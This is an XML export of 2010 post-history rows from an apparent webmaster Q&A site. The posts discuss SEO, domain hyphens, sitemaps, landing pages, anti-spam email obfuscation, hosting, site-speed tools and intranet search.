  <row Id="742" PostHistoryTypeId="2" PostId="406" RevisionGUID="ae53c603-d9b3-487e-a3b9-e0c31edb7d86" CreationDate="2010-07-09T04:09:30.413" UserId="169" Text="use css to hide some noise from the real text (just all in one line, i formatted it to better illustrate the technique):&#xD;&#xA;&#xD;&#xA;    u&lt;span class=&quot;spam&quot;&gt;noise&lt;/span&gt;ser&#xD;&#xA;    @&lt;span class=&quot;spam&quot;&gt;noise&lt;/span&gt;&#xD;&#xA;    example&lt;span class=&quot;spam&quot;&gt;noise&lt;/span&gt;&#xD;&#xA;    .com&#xD;&#xA;&#xD;&#xA;and then use this little css-snippet:&#xD;&#xA;&#xD;&#xA;    .spam { display: none; }&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;if you need valid `mailto:` content, then you have to create it via jscript in the dom, see some of the other answers for that. but i am not a big friend of that." />
  <row Id="743" PostHistoryTypeId="5" PostId="389" RevisionGUID="cc8ec4ed-517a-4070-a75e-99a9975234c5" CreationDate="2010-07-09T04:12:17.523" UserId="26" Comment="added list of hosts still operating" Text="Here's an article from 2007: [**Free Speech Hosting: 11 Web Hosts That Won't Dump You at the First Sign of Controversy**][1].&#xD;&#xA;&#xD;&#xA;All but one of the hosts mentioned are still in business, though not all of them clearly emphasize how they treat controversial material:&#xD;&#xA;&#xD;&#xA; - &lt;strike&gt;&lt;a href=&quot;http://www.1st-amendment.org/index.php&quot; title=&quot;1st-Amendment.Net&quot;&gt;1st-Amendment.Net&lt;/a&gt;&lt;/strike&gt; (Closed)&#xD;&#xA; - &lt;a href=&quot;http://www.ctyme.com/&quot; title=&quot;Computer Tyme&quot;&gt;Computer Tyme&lt;/a&gt; (Emphasizes free speech hosting)&#xD;&#xA; - &lt;a href=&quot;http://freespeechwebhosting.com/&quot; title=&quot;Free Speech Web Hosting&quot;&gt;Free Speech Web Hosting&lt;/a&gt; (Emphasizes free speech hosting)&#xD;&#xA; - &lt;a href=&quot;http://hosting.dod.net/&quot; title=&quot;Project DoD&quot;&gt;Project DoD&lt;/a&gt; (Emphasizes free speech hosting)&#xD;&#xA; - &lt;a href=&quot;http://www.zensurfrei.com/howorder.htm&quot; title=&quot;Zensurfrei&quot;&gt;Zensurfrei&lt;/a&gt; (Emphasizes free speech hosting)&#xD;&#xA; - &lt;a href=&quot;http://www.grex.org/&quot; title=&quot;Grex&quot;&gt;Grex&lt;/a&gt; (Emphasizes free speech hosting)&#xD;&#xA; - &lt;a href=&quot;http://www.crisishost.com/&quot; title=&quot;CrisisHost&quot;&gt;CrisisHost&lt;/a&gt; (Emphasizes free speech hosting)&#xD;&#xA; - &lt;a href=&quot;https://www.nearlyfreespeech.net/&quot; title=&quot;NearlyFreeSpeech.Net&quot;&gt;NearlyFreeSpeech.Net&lt;/a&gt; (Emphasizes free speech hosting)&#xD;&#xA; - &lt;a href=&quot;http://www.secureservertech.com/hosting/&quot; title=&quot;SecureServerTech&quot;&gt;SecureServerTech&lt;/a&gt;&#xD;&#xA; - &lt;a href=&quot;http://iweb8.com/&quot; title=&quot;iWeb8&quot;&gt;iWeb8&lt;/a&gt;&#xD;&#xA; - &lt;a href=&quot;http://beachcomber.net/hosting.htm&quot; title=&quot;Beachcomber&quot;&gt;Beachcomber&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://whdb.com/2007/free-speech-hosting-11-web-hosts-that-wont-dump-you-at-the-first-sign-of-controversy/" />
  <row Id="744" PostHistoryTypeId="2" PostId="407" RevisionGUID="d30d695c-c05f-45cf-a843-094a3fbc6daa" CreationDate="2010-07-09T04:25:49.103" UserId="169" Text="AOL's [WebPageTest][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webpagetest.org/" />
  <row Id="745" PostHistoryTypeId="2" PostId="408" RevisionGUID="aa4a6a87-2eb3-4c69-b850-1be60b869115" CreationDate="2010-07-09T04:30:30.003" UserId="17" Text="I do not recommend building a site for a specific search engine. The key is to simply build your site to standard.&#xD;&#xA;&#xD;&#xA;Make sure your working to make your customers happy and the rest will follow. Happy customers and great beautifully marked up content will produce back links and indexable web pages.&#xD;&#xA;&#xD;&#xA;Yahoo, Google, or Bing the same rules apply. You the right techniques and your golden.&#xD;&#xA;&#xD;&#xA;Might want to read &quot;Building Findable Websites&quot; by Arron Walter, http://buildingfindablewebsites.com/ " />
  <row Id="746" PostHistoryTypeId="2" PostId="409" RevisionGUID="987da959-5cfd-4e64-80cc-bde47380dffe" CreationDate="2010-07-09T04:34:27.207" UserId="171" Text="With cloud hosting you have to watch out for hidden costs. As most cloud hosts charge for usage when you get a heavy burst of traffic you could get hit with a large hosting bill for that period. Most cloud solutions do not have the ability to place a limit on resource used so there isn't usually a way to limit your costs when experiencing bursts of traffic.&#xD;&#xA;&#xD;&#xA;Thats the downside.&#xD;&#xA;&#xD;&#xA;The upside is that your website will be able to handle those large bursts of traffic which a traditional single shared or dedicate server may not handle as well." />
  <row Id="747" PostHistoryTypeId="2" PostId="410" RevisionGUID="6b783f27-3230-4998-a58f-4185c5613d32" CreationDate="2010-07-09T04:35:13.587" UserId="172" Text="Both in terms of `SEO` and user friendliness, is it better to put hyphens in a multi-words domain name or not ?&#xD;&#xA;&#xD;&#xA;For example, is `www.stackoverflow.com` better than `www.stack-overflow.com` ?" />
  <row Id="748" PostHistoryTypeId="1" PostId="410" RevisionGUID="6b783f27-3230-4998-a58f-4185c5613d32" CreationDate="2010-07-09T04:35:13.587" UserId="172" Text="Is it better to put hyphens in a domain name ?" />
  <row Id="749" PostHistoryTypeId="3" PostId="410" RevisionGUID="6b783f27-3230-4998-a58f-4185c5613d32" CreationDate="2010-07-09T04:35:13.587" UserId="172" Text="&lt;seo&gt;&lt;domains&gt;&lt;users&gt;" />
  <row Id="750" PostHistoryTypeId="2" PostId="411" RevisionGUID="ced1d22d-a1a8-44b8-a249-12edded68664" CreationDate="2010-07-09T04:39:18.060" UserId="17" Text="**LANDING PAGES**&#xD;&#xA;&#xD;&#xA;Landing pages are highly optimized web pages that produce better results than the average web page.&#xD;&#xA;&#xD;&#xA;There are two type of landing pages:&#xD;&#xA;&#xD;&#xA;**1**) Content landing page, optimized to cover a specific question or task with loads of great content. These are made for search engines and users. (Great for indexing and organic search)&#xD;&#xA;&#xD;&#xA;**2**) Task Landing pages, optimized for a very specific task. These pages are tested over time with A/B testing and Heat Mapping (And changed based on test results). Built around users and search.(Normally used with PPC Ads)&#xD;&#xA;&#xD;&#xA;As far as marketing goes. The thing to be understand here is that landing pages are built for someone other than you. They are build around what makes action happen. The action they produce is what you are optimizing for.&#xD;&#xA;&#xD;&#xA;**MOST IMPORTANT**: Landing pages have a very focused &quot;call to action&quot;. If a Landing page doesn't ask you to do something, read more or contact us for example,  it is not a landing page." />
  <row Id="751" PostHistoryTypeId="2" PostId="412" RevisionGUID="1989d07a-090f-465c-b83a-0e504e8a2805" CreationDate="2010-07-09T04:42:49.553" UserId="172" Text="In my opinion, you should use either the folder or subdomain approach, because they are more intuitive to the user. Which one is a matter of personal taste, I personally find the folder approach clearer. The filename option is far less intuitive.&#xD;&#xA;&#xD;&#xA;Parsing the `Accept-Language` header for directing the user to the correct content on his first visit is a good idea, but you should only do it to redirect on the folder or subdomain url. Otherwise, it would be impossible to link to content in a specific language, and the indexing of your website will be a mess." />
  <row Id="752" PostHistoryTypeId="2" PostId="413" RevisionGUID="72587e5c-9f15-4900-9647-97a22bd557d5" CreationDate="2010-07-09T04:45:29.737" UserId="17" Text="Domain name, **No**&#xD;&#xA;(It's not normal and harder to remember, hoever, preference is ok. Doen't affect rank.)&#xD;&#xA;&#xD;&#xA;e.g. http://**webmasters.stackexchange.com**/questions/410/is-it-better-to-put-hyphens-in-a-domain-name&#xD;&#xA;&#xD;&#xA;File Location in URL, **Yes**&#xD;&#xA;(Easy to read by people)&#xD;&#xA;&#xD;&#xA;e.g. http: //webmasters.stackexchange.com/questions/410/**is-it-better-to-put-hyphens-in-a-domain-name**" />
  <row Id="753" PostHistoryTypeId="2" PostId="414" RevisionGUID="ae3d7fdd-0b5f-4daf-befe-978592055d0b" CreationDate="2010-07-09T04:46:23.963" UserId="172" Text="I guess an animated `favicon` is like all others animated `GIFs` : done right, it can be awesome and really add up to your website. But make sure not to overuse it, as it can really get visually annoying !" />
  <row Id="754" PostHistoryTypeId="2" PostId="415" RevisionGUID="a161cb12-063b-489a-acbf-0f1510171594" CreationDate="2010-07-09T04:50:26.690" UserId="17" Text="The best answer any one can give to this question is **YES**, friendly URLs are very important! Keywords in a URL get more points than most content on the page they point to.&#xD;&#xA;&#xD;&#xA;If you have time read &quot;Building Findable Websites&quot; by Arron Walter http://buildingfindablewebsites.com/" />
  <row Id="755" PostHistoryTypeId="2" PostId="416" RevisionGUID="7cc42618-b522-4042-aede-3d333a24c275" CreationDate="2010-07-09T04:52:20.883" UserId="172" Text="I've created several small scale websites, usually for small businesses. They usually contain some information about the company, a contact form, and sometimes a few dynamic parts : news, pictures, etc.&#xD;&#xA;&#xD;&#xA;I could generate sitemaps for these websites, but I am not sure what would be the point ? For websites such as these ones, where the pages are limited and easily discoverable, is it useful to generate a sitemap ? Is there a clear advantage to do so (in terms of SEO mostly) ?" />
  <row Id="756" PostHistoryTypeId="1" PostId="416" RevisionGUID="7cc42618-b522-4042-aede-3d333a24c275" CreationDate="2010-07-09T04:52:20.883" UserId="172" Text="Is it necessary/useful to build a sitemap for a small website ?" />
  <row Id="757" PostHistoryTypeId="3" PostId="416" RevisionGUID="7cc42618-b522-4042-aede-3d333a24c275" CreationDate="2010-07-09T04:52:20.883" UserId="172" Text="&lt;seo&gt;&lt;sitemap&gt;&lt;dynamic&gt;" />
  <row Id="758" PostHistoryTypeId="2" PostId="417" RevisionGUID="4def2679-0d97-4308-91f7-20493e62aac6" CreationDate="2010-07-09T04:55:29.820" UserId="120" Text="**If you want the raw numbers...**&#xD;&#xA;&#xD;&#xA;Here's [the market share of search engines][1].&#xD;&#xA;&#xD;&#xA;Looks like Yahoo is second with Bing being third place.&#xD;&#xA;&#xD;&#xA;If you look around that site more you can get metrics for mobile platforms, operating systems, browser versions, etc...&#xD;&#xA;&#xD;&#xA;  [1]: http://marketshare.hitslink.com/search-engine-market-share.aspx?qprid=4" />
  <row Id="759" PostHistoryTypeId="2" PostId="418" RevisionGUID="1c4be4ec-943a-4b52-8a20-218aec1b7993" CreationDate="2010-07-09T04:56:04.187" UserId="17" Text="**Don't do it**. The days of moving content without user consent are over. In fact don't use splash pages or auto playing video.&#xD;&#xA;&#xD;&#xA;Users need to produce action for effects.&#xD;&#xA;&#xD;&#xA;However, mileage may vary. There is such a thing a novelty design, this is the reason splash pages worked in the past. Just **be sure what you do adds to the user experience** not just yours.    " />
  <row Id="760" PostHistoryTypeId="2" PostId="419" RevisionGUID="2f3f12de-e27b-4dff-bcf6-b50bed01bf97" CreationDate="2010-07-09T05:02:44.283" UserId="26" Text="There is a tool, open sourced by Google, called **[Page Speed][1]**:&#xD;&#xA;&#xD;&#xA;&gt; Page Speed is an open-source&#xD;&#xA;&gt; Firefox/Firebug Add-on. Webmasters and&#xD;&#xA;&gt; web developers can use Page Speed to&#xD;&#xA;&gt; evaluate the performance of their web&#xD;&#xA;&gt; pages and to get suggestions on how to&#xD;&#xA;&gt; improve them.&#xD;&#xA;&#xD;&#xA;So you can use this tool, direct from Google, to measure Page Speed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/" />
  <row Id="761" PostHistoryTypeId="2" PostId="420" RevisionGUID="fb0a8b85-8d37-4ac2-ace9-59564cea6d3e" CreationDate="2010-07-09T05:07:24.370" UserId="26" Text="See **[About Sitemaps][1]**, from Google:&#xD;&#xA;&#xD;&#xA;&gt; Sitemaps are particularly helpful if:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Your site has dynamic content.&#xD;&#xA;&gt; - Your site has pages that aren't easily discovered by Googlebot during&#xD;&#xA;&gt; the crawl process—for example, pages&#xD;&#xA;&gt; featuring rich AJAX or images.&#xD;&#xA;&gt; - Your site is new and has few links to it. (Googlebot crawls the web by&#xD;&#xA;&gt; following links from one page to&#xD;&#xA;&gt; another, so if your site isn't well&#xD;&#xA;&gt; linked, it may be hard for us to&#xD;&#xA;&gt; discover it.)&#xD;&#xA;&gt; - Your site has a large archive of content pages that are not well linked&#xD;&#xA;&gt; to each other, or are not linked at&#xD;&#xA;&gt; all.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Google doesn't guarantee that we'll&#xD;&#xA;&gt; crawl or index all of your URLs.&#xD;&#xA;&gt; However, we use the data in your&#xD;&#xA;&gt; Sitemap to learn about your site's&#xD;&#xA;&gt; structure, which will allow us to&#xD;&#xA;&gt; improve our crawler schedule and do a&#xD;&#xA;&gt; better job crawling your site in the&#xD;&#xA;&gt; future. In most cases, webmasters will&#xD;&#xA;&gt; benefit from Sitemap submission, and&#xD;&#xA;&gt; in no case will you be penalized for&#xD;&#xA;&gt; it.&#xD;&#xA;&#xD;&#xA;So for a small, simple site, it's a judgment call. If there's anything you're concerned will get missed, add a sitemap. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184" />
  <row Id="762" PostHistoryTypeId="5" PostId="375" RevisionGUID="bc7847f1-2be5-44de-b1fb-dc7b84deab73" CreationDate="2010-07-09T05:10:23.587" UserDisplayName="delete" Comment="added 85 characters in body; edited title" Text="Does anyone have any statistics on how much of the total of the world's website traffic is&#xD;&#xA;malicious? Every day I am amazed by the number of requests for .dll and similar things which don't appear anywhere on my (static) website. What proportion of the world's web traffic is like this?&#xD;&#xA;&#xD;&#xA;(It says that this &quot;appears subjective and is likely to be closed&quot; so I'm marking it community wiki.)&#xD;&#xA;" />
  <row Id="763" PostHistoryTypeId="4" PostId="375" RevisionGUID="bc7847f1-2be5-44de-b1fb-dc7b84deab73" CreationDate="2010-07-09T05:10:23.587" UserDisplayName="delete" Comment="added 85 characters in body; edited title" Text="How much of the world's website traffic is attacks?" />
  <row Id="764" PostHistoryTypeId="2" PostId="421" RevisionGUID="41843509-cf52-4ad3-8d4e-214dc2ff4c47" CreationDate="2010-07-09T05:13:20.227" UserId="176" Text="There are two types of sitemaps and it's not clear which one you are referring to.&#xD;&#xA;&#xD;&#xA;The type artlung is talking about above is an XML based sitemap used by search engines. The one it sounds like you're referring to is a sitemap page on the users site (like [this][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://expeed.com.au/home/sitemap&#xD;&#xA;&#xD;&#xA;The xml sitemap you should definatley have and add to Google Webmaster tools in an effort to get the site fully indexed. The latter is a personal choice and not always needed for smaller sites." />
  <row Id="765" PostHistoryTypeId="2" PostId="422" RevisionGUID="f781ae8c-d30a-4643-b178-a05f99555acd" CreationDate="2010-07-09T05:15:03.797" UserId="17" Text="Most of the best SEO feeds are about creating great content. Pro Blogger is the best http://www.problogger.net/&#xD;&#xA;&#xD;&#xA;From there he should suggest the rest to you organically." />
  <row Id="766" PostHistoryTypeId="16" PostId="422" RevisionGUID="f781ae8c-d30a-4643-b178-a05f99555acd" CreationDate="2010-07-09T05:15:03.797" UserId="-1" />
  <row Id="767" PostHistoryTypeId="6" PostId="116" RevisionGUID="3b3e17b5-f9b9-4568-b672-f4d9df2dcccd" CreationDate="2010-07-09T05:17:26.537" UserId="26" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;sitemap.xml&gt;&lt;sitemaps&gt;&lt;xml&gt;" />
  <row Id="768" PostHistoryTypeId="2" PostId="423" RevisionGUID="ec637041-dbeb-4eed-85d0-e80c87e841b3" CreationDate="2010-07-09T05:23:46.560" UserId="17" Text="Your budget is not really not most important thing when it comes to PPC. While a budget sets a cap on the amount you can spend the real question should be on how well your ads work with the pages they point to.&#xD;&#xA;&#xD;&#xA;A well optimized page and ad is worth its weight in gold.&#xD;&#xA;&#xD;&#xA;Just remember ad campaigns are not instant revenue most of the time. They are like all advertising, the more impressions to the same people the more trust.&#xD;&#xA;&#xD;&#xA;**Your budget needs to be a budget that you can run an ad campaign on for a long time. only you know how much you can afford.** " />
  <row Id="769" PostHistoryTypeId="2" PostId="424" RevisionGUID="d70d194a-f95f-4670-980b-15da6fde481b" CreationDate="2010-07-09T05:25:09.287" UserId="132" Text="There is one type of sitemap that is worth building in any case, and that is for Google's benefit. It's an XML document that you submit to Google - you can use the Webmaster Tools for this - and Google will crawl your site.&#xD;&#xA;&#xD;&#xA;The other, more traditional, type of sitemap is the type where you list all your pages and the appropriate links on a single page, which is linked somewhere on your website, either in the navigation or footer. This is helpful to the user of your site, especially if the site is big and complex. For a smaller/simpler site, this type of sitemap is not really needed, though it's not a bad idea to provide it anyway." />
  <row Id="770" PostHistoryTypeId="2" PostId="425" RevisionGUID="44b78f76-7554-4330-a798-714d3f8357ad" CreationDate="2010-07-09T05:27:03.603" UserId="17" Text="Tools:&#xD;&#xA;&#xD;&#xA;- http://www.google.com/sktool/&#xD;&#xA;- http://www.google.com/trends/&#xD;&#xA;&#xD;&#xA;Also, look for **Google's Wonder Wheel**... you might need to Google it to find it." />
  <row Id="771" PostHistoryTypeId="2" PostId="426" RevisionGUID="2c3bad81-1521-4c5f-b569-05081e9665e4" CreationDate="2010-07-09T05:30:10.853" UserId="132" Text="I would avoid hyphens in the domain name. While they are useful in the path for a file or post, they add unneeded noise to the domain itself. Imagine having to spell it out for someone...&quot;stack dash overflow dot com&quot; just doesn't sound right.&#xD;&#xA;&#xD;&#xA;On the other hand, there are likely some domains where a well-placed hyphen would be beneficial. For example: **expertsexchange** can be read as **expert sex change**. A hyphen would make a big difference: **experts-exchange**.&#xD;&#xA;&#xD;&#xA;In the end, it's up to you, but my instinct is to avoid hyphens in a domain name." />
  <row Id="772" PostHistoryTypeId="2" PostId="427" RevisionGUID="e1054640-5c2d-46c0-9823-f0b730b5c1db" CreationDate="2010-07-09T05:34:55.073" UserId="17" Text="I know of a few tool that help markets gather data about visitors, Google Analytic, CrazzyEgg, and KISS Insights.&#xD;&#xA;&#xD;&#xA;What are other notable tools to help track information? What do you use?" />
  <row Id="773" PostHistoryTypeId="1" PostId="427" RevisionGUID="e1054640-5c2d-46c0-9823-f0b730b5c1db" CreationDate="2010-07-09T05:34:55.073" UserId="17" Text="What are the best user data collection and gathering tracking tools?" />
  <row Id="774" PostHistoryTypeId="3" PostId="427" RevisionGUID="e1054640-5c2d-46c0-9823-f0b730b5c1db" CreationDate="2010-07-09T05:34:55.073" UserId="17" Text="&lt;google&gt;&lt;tracking&gt;&lt;data&gt;&lt;tools&gt;" />
  <row Id="775" PostHistoryTypeId="2" PostId="428" RevisionGUID="3e8d3372-6a41-4116-a46f-4aae6b0de1d9" CreationDate="2010-07-09T05:36:57.503" UserId="132" Text="What I do is write out the email address as words, wrapped in a span tag: &lt;code&gt;&amp;lt;span class=&quot;email&quot;&amp;gt;joe dot blow at gmail dot com&amp;lt;/span&amp;gt;&lt;/code&gt;. Then a page-level script runs, grabbing any such spans and replacing each with a constructed email link. It may not be too obscure, but I've had no complaints. Plus if JavaScript is disabled, the user can still read the actual span text." />
  <row Id="776" PostHistoryTypeId="2" PostId="429" RevisionGUID="f4875f20-d9c1-4892-b412-51c28c63645e" CreationDate="2010-07-09T05:38:12.650" UserId="176" Text="I've been playing with the Kentico CMS recently and that's simple and easy to use. Very powerful as well if you want to extend it." />
  <row Id="777" PostHistoryTypeId="16" PostId="429" RevisionGUID="f4875f20-d9c1-4892-b412-51c28c63645e" CreationDate="2010-07-09T05:38:12.650" UserId="-1" />
  <row Id="781" PostHistoryTypeId="2" PostId="432" RevisionGUID="680b713d-f6fa-4ce8-8b23-3a1ddaa9e1ff" CreationDate="2010-07-09T05:41:45.657" UserId="26" Text="[Official Google Webmaster Central Blog][1] is good.&#xD;&#xA;&#xD;&#xA;[SearchEngineLand][2], by Danny Sullivan is great too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/&#xD;&#xA;  [2]: http://searchengineland.com/" />
  <row Id="782" PostHistoryTypeId="16" PostId="432" RevisionGUID="680b713d-f6fa-4ce8-8b23-3a1ddaa9e1ff" CreationDate="2010-07-09T05:41:45.657" UserId="-1" />
  <row Id="784" PostHistoryTypeId="2" PostId="433" RevisionGUID="9c10505a-8f41-4e3d-8613-3f5aa8e814aa" CreationDate="2010-07-09T05:57:48.993" UserId="44" Text="If you're looking for specific A/B testing tools, [A/Bingo][1] is a great plugin for Ruby on Rails sites looking to do A/B testing.  And since its built into the framework, you don't have to physically build two pages to test against each other.  Instead, you can easily just create two buttons or images and it will handle the rest.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bingocardcreator.com/abingo" />
  <row Id="786" PostHistoryTypeId="2" PostId="435" RevisionGUID="4f1e2528-ca0b-43bc-93b2-5160619790fd" CreationDate="2010-07-09T06:01:31.390" UserId="44" Text="The truth is that if you're not building a site that will have large scale traffic from launch, it doesn't really matter what stack you choose.  Just pick whatever stack will allow you to get started the quickest so you can get something up and running before you lose any motivation.  Then, keep improving the site.  &#xD;&#xA;&#xD;&#xA;Launching a site and getting it out there is more important than getting it right.  And if the site becomes wildly successful, that's something you can deal with later when you have revenue to cover it." />
  <row Id="787" PostHistoryTypeId="2" PostId="436" RevisionGUID="8a4933bc-2c78-438c-a7f1-5a2ba24e2193" CreationDate="2010-07-09T06:02:18.750" UserId="55" Text="I have an internal (intranet) site that is comprised of several blogs and forums, hundreds of static pages, lots of PDF files and several other document types. Its been glued together loosely over the last couple of years and now its my job to maintain it.&#xD;&#xA;&#xD;&#xA;I'm looking for a search engine that I can host myself that ideally:&#xD;&#xA;&#xD;&#xA; 1. Allows for searching the Blog / Forum databases directly if given the database information and tables to search.&#xD;&#xA;&#xD;&#xA; 2. Handles most text documents (PDF/DOC/ODF)&#xD;&#xA;&#xD;&#xA; 3. Is open source, or allows access to the source code once purchased&#xD;&#xA;&#xD;&#xA;It doesn't matter to me what language or platform it is written in. Normally, I'd just use Google site search, but that's not an option for an intranet.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="788" PostHistoryTypeId="1" PostId="436" RevisionGUID="8a4933bc-2c78-438c-a7f1-5a2ba24e2193" CreationDate="2010-07-09T06:02:18.750" UserId="55" Text="What is the ideal self hosted search engine?" />
  <row Id="789" PostHistoryTypeId="3" PostId="436" RevisionGUID="8a4933bc-2c78-438c-a7f1-5a2ba24e2193" CreationDate="2010-07-09T06:02:18.750" UserId="55" Text="&lt;search-engines&gt;&lt;intranet&gt;" />
  <row Id="790" PostHistoryTypeId="2" PostId="437" RevisionGUID="45833b0e-3132-4345-9fc7-deb8157dae09" CreationDate="2010-07-09T06:03:35.690" UserId="132" Text="I find the new HTML elements rather interesting...some of them are promising semantic replacements for generic &lt;code&gt;div&lt;/code&gt;s. The promising new elements include `article`, `section`, `aside`, `figure`, `nav`, `header`, and `footer`, among others. I really like the idea of semantic elements replacing meaningless containers.&#xD;&#xA;&#xD;&#xA;Oh yeah, a related item: the much-simplified `doctype` - finally something I can type from memory!" />
  <row Id="791" PostHistoryTypeId="2" PostId="438" RevisionGUID="24c8b46e-d179-465d-b2e6-6c8f0114f5d1" CreationDate="2010-07-09T06:10:05.180" UserDisplayName="delete" Text="&gt; Normally, I'd just use Google site&#xD;&#xA;&gt; search, but that's not an option for&#xD;&#xA;&gt; an intranet.&#xD;&#xA;&#xD;&#xA;There is in fact the Google search appliance which is the equivalent of Google site search for intranets. However, this is not open source (google site search isn't either though, in case you hadn't noticed.)&#xD;&#xA;" />
  <row Id="792" PostHistoryTypeId="2" PostId="439" RevisionGUID="3d5f8e8b-2bfb-45ac-92f4-3cc789dafeec" CreationDate="2010-07-09T06:25:51.607" UserId="55" Text="The one thing I can't recommend enough is going with the MVC (model / view / controller) approach no matter what language or platform you go with. Almost every language I can think of boasts several MVC frameworks, even Perl (the BBC came up with 'perl on rails' believe it or not).&#xD;&#xA;&#xD;&#xA;You'll find that by using this, its much easier to introduce new features to your site without breaking the stuff that made you popular in the first place. The separation of the controller (query / logic) code from the view that is actually presented to the visitor makes things much, much easier to maintain.&#xD;&#xA;&#xD;&#xA;The worst thing that can happen to a new site is that it becomes a victim of its own success. This typically happens when the site must scale, in a hurry, yet it cant. Addressing the technical end of that is only one part, there is also the financial aspect to consider.&#xD;&#xA;&#xD;&#xA;For instance, SE sites are built out on a Windows platform. This means, scaling is going to mean more licensing costs, but the sites seem to be engineered well enough that by the time more resources are needed, the revenue is there. A lot of time and money went into that engineering, which you may or may not have.&#xD;&#xA;&#xD;&#xA;As such, I recommend going with a language / framework that is portable across all platforms (Python / PHP come to mind) so that you aren't locked in. Your site will eventually take on a mind of its own and the direction it needs to go will become obvious." />
  <row Id="793" PostHistoryTypeId="2" PostId="440" RevisionGUID="02f1c51e-0778-4ad3-9aec-06d92d2623ca" CreationDate="2010-07-09T06:32:28.660" UserId="120" Text="**[Sitepoint.com][1]**&#xD;&#xA;&#xD;&#xA;The site isn't directly geared toward SEO but it does a great job of covering all the bases.&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;&#xD;&#xA; - [The Ultimate SEO Checklist][2].&#xD;&#xA; - [The Top 10 Google Myths Revealed][3] &#xD;&#xA; - [Secret Benefits of Search Engine Optimisation: Increased Usability][4]&#xD;&#xA;&#xD;&#xA;I could keep going but I'd be up all night reading articles on Search Engine and Website Optimizations.&#xD;&#xA;&#xD;&#xA;If there was a de-facto authoritative news/blog site for everything web (dev/publishing/webmaster) it would be SitePoint.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/&#xD;&#xA;  [2]: http://articles.sitepoint.com/article/ultimate-seo-checklist&#xD;&#xA;  [3]: http://articles.sitepoint.com/article/top-10-google-myths-revealed&#xD;&#xA;  [4]: http://articles.sitepoint.com/article/increased-usability" />
  <row Id="794" PostHistoryTypeId="16" PostId="440" RevisionGUID="02f1c51e-0778-4ad3-9aec-06d92d2623ca" CreationDate="2010-07-09T06:32:28.660" UserId="-1" />
  <row Id="795" PostHistoryTypeId="2" PostId="441" RevisionGUID="b575d54f-b41b-432c-b22e-8b08f5f8fe0d" CreationDate="2010-07-09T06:37:03.237" UserId="179" Text="Smashing Magazine did a great article on PNG and JPG optimization. And since I can only post one link per post I'll have to tell you that the JPG Optimization article is linked from the bottom of the &lt;a href=&quot;http://www.smashingmagazine.com/2009/07/15/clever-png-optimization-techniques/&quot;&gt;PNG Optimization&lt;/a&gt; article.&#xD;&#xA;&#xD;&#xA;It's quite in-depth, explaining in great detail some things you may not know about the format. For example, the JPEG article: &quot;Keep in mind that when you set the Quality to under 50 in Photoshop, it runs an additional optimization algorithm called color down-sampling, which averages out the color in the neighboring eight-pixel blocks&quot;." />
  <row Id="796" PostHistoryTypeId="2" PostId="442" RevisionGUID="c8ed3b92-2a84-4266-b4b2-abcdfa7ae283" CreationDate="2010-07-09T06:41:49.747" UserId="120" Text="**[There are a lot more potential places for optimization that will have a greater impact...][1]**&#xD;&#xA;&#xD;&#xA;If you're looking for strictly a performance gain, CSS source optimization is pretty low on the food chain.&#xD;&#xA;&#xD;&#xA;Excess cruft in the CSS source will take a minor hit the first time the stylesheets are loaded. Caching should take care of the issue from then on.&#xD;&#xA;&#xD;&#xA;  [1]: http://articles.sitepoint.com/article/web-site-optimization-steps" />
  <row Id="797" PostHistoryTypeId="2" PostId="443" RevisionGUID="d5de9aeb-fedd-4f40-a61f-b342fc1d3bd5" CreationDate="2010-07-09T06:42:26.283" UserId="180" Text="I have recently noticed that for some websites, Google is linking to different locations in the site hierarchy instead of just the destination page URL.  For instance, searching for &quot;Malibu Rum Drink Recipes&quot; results in an entry at Bar None Drinks that shows the following:&#xD;&#xA;&#xD;&#xA;&gt;Drink recipes containing Malibu Rum  &#xD;&#xA;&gt;Choose from our collection of great drinks made with Malibu Rum.  &#xD;&#xA;&gt;www.barnonedrinks.com &gt; Drinks &gt; By Ingredient &gt; M&#xD;&#xA;&#xD;&#xA;Each of the individual segments between the &quot;&gt;&quot; marks are clickable and take you to that section of the site.&#xD;&#xA;&#xD;&#xA;How do I get Google to show this for my site?" />
  <row Id="798" PostHistoryTypeId="1" PostId="443" RevisionGUID="d5de9aeb-fedd-4f40-a61f-b342fc1d3bd5" CreationDate="2010-07-09T06:42:26.283" UserId="180" Text="How do I get Google to show links to my site hierarchy in search results?" />
  <row Id="799" PostHistoryTypeId="3" PostId="443" RevisionGUID="d5de9aeb-fedd-4f40-a61f-b342fc1d3bd5" CreationDate="2010-07-09T06:42:26.283" UserId="180" Text="&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="800" PostHistoryTypeId="2" PostId="444" RevisionGUID="10e3d2fc-4c71-4264-9723-c48ca026b86e" CreationDate="2010-07-09T06:50:31.697" UserId="179" Text="If you're working on a contract or freelance basis, this is entirely up to you. I use a version of the &lt;a href=&quot;http://mondaybynoon.com/internet-explorer-contract-addendum/&quot;&gt;Internet Explorer 6 Contract Adendum&lt;/a&gt; by Jonathan Christopher of Monday By Noon.&#xD;&#xA;&#xD;&#xA;As described by the Author:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;This contract addendum acts as a notification to clients regarding your (limited) support of Internet Explorer. It is released under a Creative Commons Attribution-Share Alike 3.0 United States License. This document is currently at version 1.0 and will more than likely be updated quite often until version 2.0 is reached.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;I have not seen it updated since I found it, but that's really not important since it was the concept and the basic language that I used before tweaking it. Essentially in the form presented on the site it says that you will create a version of the site for IE6 that presents the info that needs presenting, though not necessarily using the approved design. Also that you reserve the right to feed them motivation to upgrade their 